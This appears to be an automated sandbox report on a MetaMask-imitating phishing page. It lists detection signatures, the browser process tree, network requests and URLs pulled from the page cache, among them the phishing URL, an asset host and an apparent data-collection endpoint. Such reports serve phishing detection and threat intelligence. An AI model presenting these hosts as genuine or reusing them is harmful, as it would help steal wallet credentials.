Edit tour

Windows Analysis Report
http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html

Overview

General Information

Sample URL:	http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html
Analysis ID:	1521598
Tags:	openphish
Infos:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish64

HTML body contains low number of good links

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5480 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2412,i,13320635165213264262,11456466391061139777,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html

SlashNext: detection malicious, Label: Fraudulent Website type: Phishing & Social usering

Phishing

Yara detected HtmlPhish64

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML

Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html

HTTP Parser: Number of links: 0

Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html

HTTP Parser: Title: MetaMask does not match URL

Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html

HTTP Parser: <input type="password" .../> found

Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	HTTP Parser: No <meta name="author".. found
Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	HTTP Parser: No <meta name="author".. found
Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	HTTP Parser: No <meta name="author".. found

Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49760 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253

Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-cd79e4ba646248938d9c124ff8a6e641.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gibberish-detector.js/gibberish.min.js HTTP/1.1Host: gtomitsuka.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logo.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /confirm.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /full.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eye-close.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tada.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gibberish-detector.js/gibberish.min.js HTTP/1.1Host: gtomitsuka.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-cd79e4ba646248938d9c124ff8a6e641.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: bestfilltype.netlify.app
Source: global traffic	DNS traffic detected: DNS query: gtomitsuka.github.io

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sat, 28 Sep 2024 22:59:01 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XDQREE6H0508M5XKG47SNRContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sat, 28 Sep 2024 22:59:01 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XDQREEWA2ZE7E40XGE3N1YContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sat, 28 Sep 2024 22:59:01 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XDQRJ0S6VJQV7GVK3BVQHHContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sat, 28 Sep 2024 22:59:01 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XDQRJHYC6WZV3ADHHC2M2TContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sat, 28 Sep 2024 22:59:01 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XDQRHHJHWM290DV4CPQTFEContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sat, 28 Sep 2024 22:59:01 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XDQRJBDK2QXRY15XRK844MContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sat, 28 Sep 2024 22:59:03 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XDQT4AXM73XTG15KSBAD3GContent-Length: 50Connection: close

Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_69.2.dr, chromecache_57.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_53.2.dr	String found in binary or memory: https://adsol16.publicvm.com/m.php
Source: chromecache_53.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: chromecache_53.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/confirm.png
Source: chromecache_53.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/eye-close.png
Source: chromecache_53.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/eye-open.png
Source: chromecache_53.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/full.png
Source: chromecache_53.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/icon.png
Source: chromecache_53.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/logo.png
Source: chromecache_53.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/tada.png
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_53.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: chromecache_53.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.1.1.min.js
Source: chromecache_53.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.3.1.js
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_53.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Poppins:wght
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLBT5Z1JlFc-K.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLBT5Z1xlFQ.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1JlFc-K.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDD4Z1JlFc-K.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDD4Z1xlFQ.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJfecg.woff2)
Source: chromecache_51.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2)
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_53.2.dr	String found in binary or memory: https://metamask.io/
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_65.2.dr, chromecache_62.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
